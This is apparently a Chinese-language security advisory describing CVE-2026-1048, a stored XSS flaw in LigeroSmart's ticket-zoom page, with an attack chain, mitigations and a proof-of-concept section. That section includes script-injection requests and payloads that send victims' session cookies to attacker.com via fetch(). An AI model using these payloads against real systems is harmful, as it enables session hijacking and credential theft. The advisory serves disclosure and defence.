IPBUF安全漏洞报告
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CVE-2026-1048 CVSS 3.5 低危

CVE-2026-1048: LigeroSmart AgentTicketZoom页面TicketID参数XSS漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2026-1048
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
LigeroSmart

相关标签

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漏洞概述

CVE-2026-1048是LigeroSmart软件中的一个存储型跨站脚本(XSS)漏洞,存在于6.1.26及之前版本中。该漏洞位于otrs/index.pl?Action=AgentTicketZoom页面的TicketID参数处理逻辑中,攻击者可通过构造恶意Payload注入JavaScript代码。当其他用户访问包含恶意代码的工单详情页面时,注入的脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或钓鱼攻击。由于该漏洞的利用代码已在公开渠道发布,且利用复杂度较低,建议相关用户尽快采取防护措施。LigeroSmart作为OTRS(开源工单系统)的分支版本,被广泛应用于企业IT服务管理和客户支持场景,因此该漏洞可能影响大量组织的日常运营。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于LigeroSmart的AgentTicketZoom功能模块中。漏洞产生的根本原因是程序未对用户提交的TicketID参数进行充分的输入验证和输出编码。当攻击者通过URL参数TicketID注入恶意JavaScript代码(如<script>alert(document.cookie)</script>)时,该Payload会被存储在数据库中。随后,当其他用户访问该工单详情页面时,服务器从数据库取出未经过滤的数据并嵌入到HTML响应中,导致恶意脚本在受害者浏览器上下文中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账号、执行任意前端操作或进行钓鱼攻击。由于CVSS评分较低(3.5),该漏洞的机密性和完整性影响均为低级别,但仍需引起重视。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标站点使用的LigeroSmart版本,确认版本低于6.1.26以确定漏洞存在性
STEP 2
Payload构造
攻击者构造包含恶意JavaScript代码的TicketID参数,如<script>标签或事件处理器属性
STEP 3
漏洞注入
通过AgentTicketZoom页面的URL参数或工单创建功能将恶意Payload提交,Payload被存储在数据库中
STEP 4
触发阶段
受害者访问包含恶意代码的工单详情页面,服务器从数据库取出未过滤的数据并返回给受害者浏览器
STEP 5
脚本执行
恶意JavaScript在受害者浏览器上下文中执行,可窃取Cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-1048 PoC - LigeroSmart XSS via TicketID Parameter --> <!-- This PoC demonstrates the stored XSS vulnerability in AgentTicketZoom --> <!-- Method 1: Direct URL Injection --> GET /otrs/index.pl?Action=AgentTicketZoom&TicketID=<script>alert(document.domain)</script> HTTP/1.1 Host: target.example.com Cookie: [victim_session_cookie] <!-- Method 2: JavaScript Payload for Cookie Theft --> <script> fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)); </script> <!-- Method 3: Stored XSS via Ticket Creation --> <!-- Attacker creates a ticket with malicious TicketID, when viewed by other users, script executes --> <!-- Example: Create malicious ticket via LigeroSmart API --> POST /otrs/index.pl?Action=AgentTicketZoom Content-Type: application/x-www-form-urlencoded TicketID=<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">

影响范围

LigeroSmart <= 6.1.26

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)在前端和后端同时对TicketID等参数进行严格的输入验证,过滤<、>、'、"等特殊字符;2)对所有用户可控的输出点实施HTML编码;3)配置严格的Content-Security-Policy响应头;4)限制低权限用户创建和修改工单的权限;5)监控和审查日志中的可疑请求模式;6)考虑临时禁用AgentTicketZoom功能或部署WAF规则进行防护。

参考链接

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